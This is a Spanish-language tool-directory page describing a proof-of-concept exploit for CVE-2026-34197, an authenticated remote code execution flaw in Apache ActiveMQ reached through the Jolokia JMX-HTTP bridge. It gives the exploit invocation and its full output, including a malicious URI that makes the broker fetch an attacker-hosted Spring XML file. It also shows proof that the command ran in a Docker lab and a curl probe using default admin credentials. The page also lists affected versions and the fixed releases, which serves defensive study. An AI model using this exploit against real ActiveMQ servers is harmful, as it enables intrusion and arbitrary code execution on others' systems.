Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-34197 — Exploit de prueba de concepto para CVE-2026-34197, que demuestra ejecución remota de código autenticada en Apache ActiveMQ a través del puente Jolokia JMX-HTTP y la inyección de beans XML de Spring. | Kitploit
Herramientas/GitHubGitHub/lat-06/cve-2026-34197
Análisis Dinámico (Sandboxing)Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHublat-06/cve-2026-34197

CVE-2026-34197

Exploit de prueba de concepto para CVE-2026-34197, que demuestra ejecución remota de código autenticada en Apache ActiveMQ a través del puente Jolokia JMX-HTTP y la inyección de beans XML de Spring.

18hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

CVE-2026-34197

Descripción
Validación de entrada incorrecta, control inadecuado de la generación de código (vulnerabilidad de ‘Inyección de código’) en Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic expone el puente Jolokia JMX-HTTP en /api/jolokia/ en la consola web. La política de acceso de Jolokia por defecto permite operaciones exec en todos los MBeans de ActiveMQ (org.apache.activemq:*), incluyendo BrokerService.addNetworkConnector(String) y BrokerService.addConnector(String). Un atacante autenticado puede invocar estas operaciones con una URI de descubrimiento manipulada que hace que el parámetro brokerConfig del transporte VM cargue un contexto de aplicación Spring XML remoto mediante ResourceXmlApplicationContext. Debido a que ResourceXmlApplicationContext de Spring instancia todos los beans singleton antes de que BrokerService valide la configuración, se produce ejecución de código arbitrario en la JVM del broker a través de métodos de fábrica de beans como Runtime.exec(). Este problema afecta a Apache ActiveMQ Broker: antes de 5.19.4, desde 6.0.0 hasta antes de 6.2.3; Apache ActiveMQ All: antes de 5.19.4, desde 6.0.0 hasta antes de 6.2.3; Apache ActiveMQ: antes de 5.19.4, desde 6.0.0 hasta antes de 6.2.3. Se recomienda a los usuarios actualizar a la versión 5.19.4 o 6.2.3, que corrige el problema

Más información en: link

Fase de explotación

Referencia

Github: link```bash ❯ docker compose up -d

Una vez iniciado, puede interactuar con la API completando el formulario de perfil y siguiendo las instrucciones en la ventana de línea de comandos. Cuando haya introducido los detalles del sistema que pretende explotar, pulse '''Run'''.```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

Con LHOST se hace referencia a la IP privada del equipo. Puedes usar ipconfig en Windows o ifconfig en Linux

Comprobando el RCE```bash ❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

=> RCE exitoso, el archivo `blahblah.txt` fue creado en el sistema objetivo.

# Fase de Análisis
## Análisis Dinámico```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

Los registros en tiempo de ejecución también confirmaron que Jolokia estaba habilitado y expuesto a través de la consola web de ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

Verificar la conexión```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

Esto significa:

  • Jolokia era accesible
  • La autenticación se realizó correctamente usando credenciales predeterminadas
  • El objetivo estaba ejecutando ActiveMQ 5.18.6
  • El agente Jolokia aceptó solicitudes autenticadas
Descargar herramienta